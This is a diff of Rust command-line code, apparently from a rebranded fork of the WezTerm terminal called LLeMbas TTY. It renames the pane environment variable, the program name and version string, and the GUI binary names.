pub struct SendText {
/// Specify the target pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
#[arg(long)]
pane_id: Option<PaneId>,
+1 -1
View File
@@ -11,7 +11,7 @@ pub struct SetTabTitle {
tab_id: Option<TabId>,
/// Specify the current pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
///
/// The pane is used to figure out which tab should be renamed.
#[arg(long)]
+1 -1
View File
@@ -11,7 +11,7 @@ pub struct SetWindowTitle {
window_id: Option<WindowId>,
/// Specify the current pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
///
/// The pane is used to figure out which window
/// should be renamed.
+1 -1
View File
@@ -12,7 +12,7 @@ use wezterm_client::client::Client;
pub struct SpawnCommand {
/// Specify the current pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
/// The pane is used to determine the current domain
/// and window.
#[arg(long)]
+1 -1
View File
@@ -10,7 +10,7 @@ use wezterm_client::client::Client;
pub struct SplitPane {
/// Specify the pane that should be split.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
#[arg(long)]
pane_id: Option<PaneId>,
+1 -1
View File
@@ -9,7 +9,7 @@ use wezterm_client::client::Client;
pub struct ZoomPane {
/// Specify the target pane.
/// The default is to use the current pane based on the
/// environment variable WEZTERM_PANE.
/// environment variable LLEMBAS_TTY_PANE.
#[arg(long)]
pane_id: Option<PaneId>,
+9 -5
View File
@@ -2,7 +2,8 @@ use anyhow::{anyhow, Context};
use clap::builder::ValueParser;
use clap::{Parser, ValueEnum, ValueHint};
use clap_complete::{generate as generate_completion, shells, Generator as CompletionGenerator};
use config::{wezterm_version, ConfigHandle};
// LLeMbas TTY: its own version for --version
use config::{llembas_tty_long_version, ConfigHandle};
use mux::Mux;
use std::ffi::OsString;
use std::io::Read;
@@ -22,9 +23,11 @@ mod cli;
// let message = "; ❤ 😍🤢\n\x1b[91;mw00t\n\x1b[37;104;m bleet\x1b[0;m.";
#[derive(Debug, Parser)]
// LLeMbas TTY: its own name and version
#[command(
about = "Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
version = wezterm_version()
name = "llembas-tty",
about = "LLeMbas TTY: a terminal with LLeMbas built in, based on Wez's Terminal Emulator\nhttp://github.com/wezterm/wezterm",
version = llembas_tty_long_version()
)]
pub struct Opt {
/// Skip loading wezterm.lua
@@ -771,10 +774,11 @@ fn delegate_to_gui(saver: UmaskSaver) -> anyhow::Result<()> {
// Restore the original umask
drop(saver);
// LLeMbas TTY: its own binary names
let exe_name = if cfg!(windows) {
"wezterm-gui.exe"
"llembas-tty-gui.exe"
} else {
"wezterm-gui"
"llembas-tty-gui"
};
let exe = std::env::current_exe()?